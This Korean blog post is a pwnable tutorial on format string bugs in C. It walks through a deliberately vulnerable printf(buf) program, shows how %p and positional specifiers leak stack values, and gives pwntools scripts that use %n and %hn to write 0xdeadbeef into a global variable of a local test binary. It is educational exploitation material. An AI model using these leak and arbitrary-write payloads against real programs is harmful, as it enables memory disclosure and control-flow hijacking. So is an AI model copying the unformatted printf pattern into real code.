Format String Bug 란?
우리가 흔히 C언어 에서 사용하는 printf, Scanf 등에서 %d, %s 와 같은 것이 바로 Format String 이다.
Format Stiring은 출력할 값의 Format(형식)을 지정해 주는 역할을 한다.
Format String을 사용하는 함수에서 Format을 제대로 지정해 주지 않을 경우 format String Bug 취약점이 발생하여 공격이 가능하다.
주로 사용되는 Format String 을 대략적으로 정리하자면 다음과 같다.
Format String | 기능 |
---|---|
%d | 정수(10진수 int) |
%c | 문자(char) |
%s | 문자열(NULL을 만날 때 까지 출력) |
%f | 실수(float) |
%lf | 실수(double) |
%p | 주소 출력할때 사용, 메모리 크기만큼 자리수가 채워짐 |
%x | 정수(16진수) |
%u | 부호없는 정수 |
%ld | 부호 있는 long형 int |
%n | 4바이트 공간에 현재까지 출력된 바이트 수 입력(남는공간은 0으로 채워짐) |
%hn | 2바이트 공간에 현재까지 출력된 바이트 수 입력 |
%hhn | 1바이트 공간에 현재까지 출력된 바이트 수 입력 |
굵은글씨들이 대충 자주쓰이는 것들임.
Format String Bug는 printf("%s, buf) 와 같이 포맷스트링을 사용하는 함수에 제대로 format 을 지정해 주지않고
print(buf) 이런식으로 바로 넣어버릴때 주로 발생한다.
바로 예시로 넘어가자
#include <stdio.h>
int main(){
char buf[1024];
printf("Input: ");
fgets(buf, 1024, stdin);
printf("Result: ");
printf(buf); // 이부분에서 FSB 발생
return 0;
}
다음과 같이 작성된 우리가 입력한 값을 그대로 출력해주는 코드를 작성해 보았다.
일반적인 입력을 넣어보면
정상적으로 출력되는 것을 확인할 수 있다.
그러나 Format이 지정되지 않은 상태로 buf에 Format String을 포함하는 문자열을 넣어주게 된다면?
우리가 입력한 AAAAAAAA%p%p%p%p%p가 출력되는 것 이 아닌 AAAAAAAA다음 Format String부분은 해당 Format String 기능에 따라 괴상한 값이 출력된다!
printf와 같이 Format String을 사용하는 함수들은 매개변수로 입력된 문자열에서 Format String을 만나면 다음 매개변수수 값을 참조하여 Format String의 기능을 수행하게 된다.
그렇기 때문에 만약 위와같이 AAAAAAAA%p%p%p%p가 입력된다면 AAAAAAAA까지는 일반적인 문자열로 처리하지만 %p를 만나면 다음 매개변수인 rsi, rdx, rcx, r8, r9, stack 을 순서대로 참조하게된다.(64비트 calling convention기준)
대략적인 그림으로 표현하자면
다음과같다.
calling convention에 따라 순서대로 레지스터 또는 스택을 참조하여 포맷스트링 기능과 참조한 값에따라 출력이 이루어진다.
이를 디버거로 확인해보면
현재 rsi, rdx, rcx, r8, r9 레지스터와 위의 출력결과를 보면 r9레지스터 까지 %p 포맷으로 출력이 이루어 진 것을 알 수 있다.(r8 값이 다른것은 현재 r8이 가리키고 있는 스택주소는 aslr 로 인해 실행시마다 랜덤화 되기때문)
만약 입력한 문자열에 %p가 더 있었다면 스택에 있는 값까지 출력할 수 있다.
이번에는 알아보기 쉽게 . 까지 붙여주었다.
출력값을 보면 우리가 입력한 AAAAAAAA가 6번째 %p로 인해 다시 출력됨을 알 수 있다.(아스키코드로 'A' == 0x41)
6번째 format string 은 함수 호출규약에 따라 7번째 매개변수가 들어갈 위치인 스택최상단값을 참조하기 때문이다.
여기까지 보면 입력길와 출력길이가 충분하다면 사실상 스택의 내용을 전부다 뽑아낼 수 있다는것을 알 수 있다.
추가로 %[]$p 포맷을 통해 []번째 매개변수를 지정해 줄 수 있다!
위 예시에서 스택 최상단(입력buf)의 값을 참조하려면 %를 6개 써야함을 알 수 있었지만 %[]$p 를 사용한다면?
순서대로가 아닌 참조할 매개변수를 지정해서 출력한다.
익스할때 스택상의 상대적인 offset을 계산하여 $값으로 지정해주면 보다 깔끔하게 필요한 값만 뽑아낼 수 있다.
아무튼 여기까지 보면 Format String Bug는 memory leak에 매우 유용하다는 것을 알 수 있었다.
그러나 이게 다가 아니다!
이 Format String Bug로 임의의 주소에 원하는 값을 넣는것 까지 가능하다
바로 위에서 소개한 Format String %n 시리즈는 다른 포맷스트링들이 참조한 값을 출력을 하는것과 달리 참조한값이 가리키는 주소에 현재까지 출력된 바이트수를 입력한다.
말로하면 어려우니 직접 확인 해 보자.
이번에는 코드를 조금 바꿔보았다.
#include <stdio.h>
int overwrite;
int main(){
char buf[1024];
printf("Input: ");
fgets(buf, 1024, stdin);
printf("Result: ");
printf(buf);
if(overwrite == 0xdeadbeef){
printf("success!!!\n");
}
return 0;
}
전역변수 overwrite가 추가되었고, 초기화 되지 않았기 때문에 0이라는 값을 가지고 있을 것 이다.
FSB를 이용하여 overwrite 변수에 0xdeadbeef를 넣어보자.
먼저 overwrtie 변수는 전역변수 이기 때문에 주소를 알 수 있다.
overwrite 의 주소는 0x4033ac이다.
앞선 예제에서 보았듯이 우리의 입력값은 스택 최상단에 들어가며, 6번째 Format String으로 참조됨을 확인했다.
%n 은 printf 등의 함수로 현재까지 출력된 값을(바이트 수) 를 %n이 가리키는 주소에 '넣어준다'
그렇다면?
우리는 overwrite의 주소를 알고있으니까 그 값을 payload에 넣어주고 buf(stack)를 참조하는 6번째 이후 포맷스트링에 %n을 넣어주면 무언가가 들어가지 않을까??
이번에는 좀 더 복잡한 값을 입력해야 하기에 python pwntools를 사용하겠다.
from pwn import *
r = process("./format")
gdb.attach(r)
pause()
overwrite = 0x4033ac
payload = "AAAAAAAA"
payload += "%8$n"
payload += "AAAA"
payload += p64(overwrite)
r.sendlineafter("Input: ", payload)
r.interactive()
이렇게 스크립트를 작성하고 디버깅 해보면
원래 0 이였던 overwrite에 8이 들어가 있다!
근데 왜 8일까??
이것은 payload를 보면 알 수 있다.
payload = "AAAAAAAA"
payload += "%8$n"
payload += "AAAA"
payload += p64(overwrite)
먼저 "A"8개(8바이트)를 넣어주고 rdi 이후 8번째 매개변수 를 가리키는 %8$n을 넣어주고 "A"4개, 그후 overwrite의 주소를 넣어주었다.
%6$p가 스택의 최상단, 즉 입력값의 첫 8바이트 AAAAAAAA 를 참조하는 것 을 앞서 확인했다.
그럼 우리의 입력값 9바이트 ~ 16바이트 까지는 7번째, 17~24 바이트 까지는 8번째 일 것이다.
참고로 중간에 A를 4개 넣어준것은 8번째 위치에 Overwrite주소를 넣기 위함이다.(8바이트씩 정렬해야하니까)
그림으로 나타내면
이렇게 8번째에 overwrite의 주소가 들어갔으므로 %8$n에서 현재까지 출력한 A 8개, 즉 8바이트 이므로 8을 overwrite에 입력한 것 이다.
이번엔 제대로 넣어줘서 success를 띄워보자.
from pwn import *
r = process("./format")
gdb.attach(r)
pause()
#0xdeadbeef
overwrite = 0x4033ac
payload = "%{}c".format(0xdeadbeef)
payload += "%9$n"
payload += "A" * (8 - len(payload) % 8)
payload += p64(overwrite)
r.sendlineafter("Input: ", payload)
r.interactive()
이전과비슷하게 이렇게 payload를 작성하였으나
아무값도 들어가지 않았다.
아마 0xdeadbeef = 3,735,928,559 라는 너무 큰 숫자의 출력을 한번에 해서 그런 것 같다.
%c 포맷스트링을 이용해 0xdeadbeef 개의 문자를 출력하고 똑같이 %8$으로 입력하면 될 것 같지만
너무큰값을 출력하려하면 출력이 아예안되는 문제가 생긴다.(확실하진 않지만 양의정수 최대값 이상 출력하려하면 터지는듯??)
그래서 보통 큰값을 입력하려 할땐 %hn, %hhn을 이용해 2바이트,1바이트 단위로 나누어서 넣어주는걸 추천한다.
큰값을 한번에 출력하는것보다 나눠서 출력하는게 속도도 오히려 더 빠름.
이렇게 다시 작성하면
from pwn import *
r = process("./format")
gdb.attach(r)
pause()
overwrite = 0x4033ac
low = 0xdeadbeef & 0xffff # 0xbeef
high = (0xdeadbeef >> 16) & 0xffff # 0xdead
payload = "%{}c".format(low)
payload += "%10$hn"
payload += "%{}c".format(high - low)
payload += "%11$hn"
payload += "A" * (8 - len(payload) % 8)
payload += p64(overwrite)
payload += p64(overwrite + 2)
r.sendlineafter("Input: ", payload)
r.interactive()
대부분 앞의 내용과 동일하다.
나눠서 넣다보니 overwrite주소에 0xdeadbeef의 하위 2바이트 쓰고, 나머지 상위 2바이트 는 overwrite주소 +2에 입력하면 된다.
이때, 넣을 두 값중 작은값을 먼저넣어줘야 한다. 왜냐하면 앞서 말했듯 %n은 현재까지 출력한 바이트 수 만큼 입력하기때문에 먼저 작은값을 출력하고, 그 출력한 크기만큼 입력을 첫 %hn넣어주고 그다음 %hn에서는 이미 출력된 앞선 low갯수는 빼줘야 정상적인 high 값이 들어갈 것 이다.
1. print low -> 현재 low크기로 출력함
2. low %hn으로 입력
3. 이미 low만큼 출력했으므로 low + x 로 high값을 맞춰서 %hn 으로 입력해야함
아무튼 결과를 보면 정상적으로 deadbeef가 들어갔고
Success도 출력성공!
'Pwnable' 카테고리의 다른 글
Pwnable 환경 세팅 (0) | 2021.09.23 |
---|---|
Assembly Handray2 (0) | 2021.08.25 |
Assembly Handray (0) | 2021.08.24 |